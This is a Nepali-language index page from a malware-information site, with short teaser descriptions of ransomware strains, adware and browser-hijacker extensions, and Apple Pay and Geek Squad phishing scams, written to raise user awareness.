CyberVolk BlackEye Ransomware

Ransomware
डिजिटल युगको विकास हुँदै जाँदा, यसको सतहमुनि लुकेका खतराहरू पनि बढ्दै जान्छन्। यी खतराहरूमध्ये सबैभन्दा खतरनाक भनेको ransomware हो, एक प्रकारको मालवेयर जसले पीडितको डेटा इन्क्रिप्ट गर्छ र यसको...

CyberBlock

सम्भावित अवांछित कार्यक्रमहरू, एडवेयर
CyberBlock एक ब्राउजर एक्सटेन्सन हो जसले प्रयोगकर्ताहरूलाई त्यहाँको सबैभन्दा शक्तिशाली विज्ञापन-ब्लक गर्ने अनुप्रयोगहरूको रूपमा विज्ञापन गर्दछ। थप रूपमा, यो अनुप्रयोग स्पष्ट रूपमा सबैभन्दा उन्नत...

CyberVolk Ransomware

Ransomware
CyberVolk Ransomware ले लक्षित प्रणालीमा फाइलहरू इन्क्रिप्ट गर्न प्रोग्राम गरिएको सफ्टवेयरलाई धम्की दिइरहेको छ, तिनीहरूलाई प्रयोगकर्ताको लागि पहुँचयोग्य बनाउँदै। ransomware को यो विशेष स्ट्रेनमा...

Cyber Shield

सम्भावित अवांछित कार्यक्रमहरू, एडवेयर
Cyber Shield एउटा ब्राउजर एक्सटेन्सन हो जसले अनावश्यक व्यवहार देखाउन सक्छ। प्रयोगकर्ताहरूलाई एक सुविधाजनक उपकरणको रूपमा विज्ञापन गरिएको छ जसले तिनीहरूलाई अनलाइन ब्राउज गर्दा उनीहरूको डेटाको सुरक्षा...

ट्रेन्डिङ

Recycling Tree Browser Extension

सम्भावित अवांछित कार्यक्रमहरू, ब्राउजर अपहरणकर्ताहरू
रिसाइक्लिंग ट्री ब्राउजर एक्सटेन्सनको व्यापक परीक्षण पछि, शोधकर्ताहरूले पुष्टि गरे कि यसले search.recyclingtree.net भनेर चिनिने नक्कली खोज इन्जिनलाई बढावा दिने उद्देश्यले विशिष्ट वेब ब्राउजर...

स्टार फिल्ड ब्राउजर विस्तार

सम्भावित अवांछित कार्यक्रमहरू, ब्राउजर अपहरणकर्ताहरू
इन्फोसेक अनुसन्धानकर्ताहरूले भ्रामक वेबसाइटहरूको परीक्षणको क्रममा स्टार फिल्ड, एक दुष्ट ब्राउजर विस्तार पत्ता लगाए। यो विशेष विस्तारले तारा-थीम्ड ब्राउजर वालपेपरहरू प्रदर्शन गर्ने प्रतिज्ञाको साथ...

चोरी (MedusaLocker) Ransomware

Ransomware
डिजिटल खतराहरूको द्रुत विकाससँगै, ransomware साइबर अपराधको सबैभन्दा विनाशकारी र महँगो रूपहरू मध्ये एक बनेको छ। यी आक्रमणहरूले पीडितहरूलाई आफ्नै फाइलहरूबाट बाहिर निकाल्न सक्छन्, व्यावसायिक सञ्चालनमा...

धेरै हेरिएको

मालवेयर

फिसिङ, स्प्याम
31,813
'Apple Pay निलम्बित' घोटाला सन्देश एक प्रकारको फिसिङ युक्ति हो जसले Apple Pay का प्रयोगकर्ताहरूलाई लक्षित गर्दछ। सन्देशले प्रयोगकर्ताको एप्पल पे वालेट निलम्बित गरिएको दाबी गरेको छ र तिनीहरूलाई पुनर्स्थापना गर्न लिङ्क क्लिक गर्न आग्रह गर्दछ। यद्यपि, लिङ्कमा क्लिक गर्दा प्रयोगकर्तालाई नक्कली वेबसाइटमा लैजान्छ जुन उनीहरूको व्यक्तिगत र वित्तीय जानकारी चोर्न डिजाइन गरिएको हो। यदि एक...
'गीक स्क्वाड' इमेल घोटाला स्क्रिनसट

'गीक स्क्वाड' इमेल घोटाला

फिसिङ, स्प्याम
29,161
Geek Squad, एक लोकप्रिय टेक समर्थन प्रदायक, Geek Squad Email Scam भनिने फिसिङ घोटालाको शिकार भएको छ। यो प्राविधिक समर्थन घोटालाले नक्कली इमेलहरू प्रयोग गर्दछ जसले मानिसहरूलाई उनीहरूको व्यक्तिगत...

Fuq.com

रोग विरोधी स्पाइवेयर कार्यक्रम, म्याक मालवेयर
22,852
Fuq.com एक एडवेयर-प्रकारको कार्यक्रम हो जसले अश्लील सामग्री भएका वेबसाइटहरूलाई बढावा दिन्छ। यस सम्भावित अवांछित कार्यक्रम (PUP) को विज्ञापन अभियानहरू धेरै आक्रामक छन्। तिनीहरूले आफ्ना पीडितहरूलाई...
लोड गर्दै...